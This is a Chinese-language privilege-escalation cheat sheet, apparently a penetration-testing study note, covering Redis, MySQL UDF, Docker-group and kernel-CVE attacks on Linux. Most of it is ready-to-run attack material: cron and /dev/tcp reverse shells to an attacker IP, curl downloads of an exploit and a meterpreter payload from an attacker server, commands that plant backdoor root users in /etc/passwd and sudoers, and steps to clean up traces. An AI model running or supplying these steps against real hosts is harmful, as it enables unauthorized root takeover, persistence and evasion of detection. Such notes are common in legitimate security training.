一、Redis 提权
提权前提
- Redis 以 root 用户运行
- 关闭安全检测
- 端口(默认 6379)可探测
- 密码为空 / 可爆破
- 可修改 dir/dbfilename 配置
- 可执行 save 持久化操作(核心:利用持久化生成自定义文件)
方式 1:公私钥认证提权
表格
| 步骤 | 操作命令 | 说明 |
|---|---|---|
| 1 | ssh-keygen(三次回车) |
攻击主机生成公私钥 |
| 2 | 编辑 pub.txt,格式:\n\n公钥内容\n\n |
公钥前后加空行避免 Redis 存储格式问题 |
| 3 | redis-cli -h 靶机IP -p 端口 -a 密码 -x set hacker < /pub.txt |
将公钥写入 Redis(Windows 用 CMD 执行) |
| 4 | 登录 Redis 执行:config set dir /root/.ssh/``config set dbfilename authorized_keys``save |
修改 Redis 持久化路径为 SSH 认证目录,生成 authorized_keys |
| 5 | ssh -i 私钥文件 root@靶机IP |
免密登录靶机获取 root 权限 |
方式 2:定时任务 shell 反弹提权
表格
| 步骤 | 操作命令 | 说明 |
|---|---|---|
| 1 | 编辑文件,内容:\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机IP/8888 0>&1\n\n |
写入每分钟执行的反弹 shell 定时任务 |
| 2 | redis-cli -h 靶机IP -p 端口 -a 密码 -x set hacker < 文件名 |
将定时任务写入 Redis |
| 3 | 登录 Redis 执行:config set dir /var/spool/cron/``config set dbfilename root``save |
持久化生成 root 用户的定时任务文件 |
| 4 | nc -lvnp 8888(攻击机) |
监听端口,等待靶机反弹 shell |
方式 3:EXP 工具提权(Kali 攻击机)
工具 1:redis-rogue-getshell
-
生成 exp.so: bash
运行
tar -zxvf RedisExp.tar.gz cd RedisExp make # 生成exp.so -
使用工具: bash
运行
tar -zxvf redis-rogue-getshell.tar cd redis-rogue-getshell cp ../RedisExp/exp.so ./ # 复制exp.so到工具目录 # 执行攻击(示例) python redis-master.py -r 192.168.88.66 -p 6379 -L 192.168.88.222 -P 21198 -f exp.so -c "chmod a+s /usr/bin/find" -a 666888
工具 2:redis-rce
-
生成 exp.so(同 redis-rogue-getshell)
-
使用工具: bash
运行
tar -zxvf redis-rce.tar.gz cd redis-rce cp ../RedisExp/exp.so ./ pip3 install -r requirements.txt # 安装依赖 # 执行攻击(示例) python redis-rce.py -r 192.168.88.66 -p 6379 -L 192.168.88.222 -P 21198 -f exp.so -a 666888- 交互选项:
i(交互式 shell)、r(反弹 shell)、e(退出)
- 交互选项:
二、MySQL UDF 提权
UDF 定义
用户自定义函数(User Defined Function),通过扩展库(Linux:.so,Windows:.dll)添加执行系统命令的函数实现提权。
提权条件
- 掌握 MySQL 账号密码并能登录
secure_file_priv值为空(MySQL 有读写文件权限)- MySQL 以 root 用户运行
- 知道扩展库路径:MySQL>5.1:
/lib/plugin(默认无,需手动创建);MySQL<5.1:C:\windows\/C:\windows\system32
提权步骤
1. 信息收集
bash
运行
# 查看MySQL运行用户
ps aux | grep mysql
# 登录MySQL查看配置
show global variables like 'secure_file_priv'; # 需为空
show global variables like '%plugin%'; # 查看plugin目录
select version(); # 查看MySQL版本
2. 生成 UDF 扩展库(Kali→靶机)
bash
运行
# Kali端:查找并下载EXP
searchsploit mysql udf
searchsploit mysql udf -m 1518.c # 下载1518.c到当前目录
python -m http.server 8989 # 开启HTTP服务
# 靶机端:下载并编译
curl http://攻击机IP:8989/1518.c -o /tmp/1518.c
gcc -g -c 1518.c -fPIC # 生成1518.o
gcc -g -shared -Wl,-soname,hacker.so -o hacker.so 1518.o -lc # 生成hacker.so
3. 转移扩展库到 plugin 目录(利用 MySQL 读写权限)
sql
-- 登录MySQL执行
create table mysql.hacker(line blob); # 新建表
insert into mysql.hacker values(load_file('/tmp/hacker.so')); # 读取so文件到表
select * from mysql.hacker into dumpfile '/opt/lampp/lib/mysql/plugin/hacker.so'; # 写入plugin目录
drop table mysql.hacker; # 清理痕迹
4. 利用 UDF 提权(任选其一)
sql
-- 创建自定义函数
create function do_system returns integer soname 'hacker.so';
-- 方式1:环境变量提权
select do_system('cp /usr/bin/bash /tmp/king');
select do_system('chmod u+s /tmp/king');
-- 反弹shell后执行:/tmp/king -p (获取root)
-- 方式2:SUID提权
select do_system('chmod u+s /usr/bin/find');
-- 反弹shell执行:find /etc/shadow -exec bash -i >& /dev/tcp/攻击机IP/8888 0>&1 -p \;
-- 方式3:新增root用户
select do_system('echo "waf:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd');
select do_system('echo "waf ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers');
-- 远程登录:ssh waf@靶机IP(密码:password@123)
-- 清理痕迹
drop function do_system;
关键区别
outfile:多行写入,带格式(不适合二进制文件)dumpfile:单行写入,无格式(适合二进制文件)
三、Docker 提权
提权前提
普通用户加入 docker 用户组(管理员执行过groupadd docker && gpasswd -a 用户名 docker)。
信息收集
bash
运行
cat /etc/group | grep docker # 查看docker组用户
docker images # 验证是否有权限操作docker(无权限报错则不可用)
方式 1:特权模式敏感文件映射
bash
运行
# 1. 加载镜像(无外网则本地加载)
docker load -q < /redis-5.0.4.tar
# 2. 启动容器,挂载宿主机/etc目录(特权模式)
docker run --name myredis -it --privileged=true -v /etc:/etc 镜像ID /bin/bash
# 3. 容器内操作(root权限)
# 查看敏感文件
cat /etc/passwd
cat /etc/shadow
# 添加root用户
echo "ips:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd
echo "ips ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# 4. 远程登录
ssh ips@靶机IP # 密码:password@123
方式 2:特权模式三方镜像提权
bash
运行
# 1. 拉取/加载镜像
docker pull docker.io/chrisfosterelli/rootplease
# 或本地加载:docker load -q < /tmp/rootplease.tar
# 2. 启动容器,挂载宿主机根目录
docker run -it --privileged=true -v /:/hostOS 镜像ID
# 3. 添加root用户(同方式1)
echo "ids:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd
echo "ids ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# 4. 远程登录
ssh ids@靶机IP # 密码:password@123
四、CVE 系统漏洞提权
核心原理
利用操作系统内核内存溢出漏洞提权,适用于无第三方软件可利用的场景。
提权步骤
bash
运行
# 1. 生成木马(Kali)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=6969 -f elf -o mua_6969.elf
# 2. 靶机下载并运行木马
python -m http.server 8989 # Kali开启HTTP服务
curl http://攻击机IP:8989/mua_6969.elf -o /tmp/mua_6969.elf # 靶机下载
chmod a+x /tmp/mua_6969.elf # 授权
./mua_6969.elf & # 后台运行
# 3. MSF接收session
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 攻击机IP
set LPORT 6969
run # 接收session
# 4. 后台运行session并枚举可利用漏洞
bg # 前台转后台
sessions # 查看session ID
use post/multi/recon/local_exploit_suggester
set session 1 # 替换为实际session ID
run # 枚举可利用的CVE漏洞
# 5. 利用漏洞提权(示例)
use linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
run # 获取root权限
注意事项
- 内核版本:3.10.0-957.el7/x86_64、3.10.0-514.el7/x86_64 易复现;3.10.0-1160.71.1.el7.x86_64 难复现。
- 部分 payload 为一次性,失效需重新执行。
五、Linux 提权辅助工具
工具 1:linux-smart-enumeration
bash
运行
# 下载
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh
chmod 700 lse.sh
# 运行
./lse.sh
工具 2:linPEAS
bash
运行
# 直接运行
curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > result.txt # 输出到文件,可转HTML查看
# 作为MSF模块安装
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb
# MSF中使用:use post/multi/gather/peass
常用 CVE 漏洞参考
- CVE-2021-4034(Polkit 本地提权):https://www.wangan.com/p/7fy7f49d2c69eb2a
- CVE-2022-23222(eBPF 提权):https://segmentfault.com/a/1190000042038200
- CVE-2022-0847(Dirty Pipe 脏管道):https://blog.csdn.net/qq_49091880/article/details/124116262
总结
- Redis 提权核心是利用持久化生成自定义文件(SSH 认证文件 / 定时任务),EXP 工具可简化操作;
- MySQL UDF 提权依赖读写权限,通过编译扩展库添加系统命令函数实现提权;
- Docker 提权利用普通用户的 docker 组权限,通过特权容器挂载宿主机敏感目录实现;
- CVE 提权需先枚举系统漏洞,再利用对应 EXP 提权,辅助工具可快速定位提权点。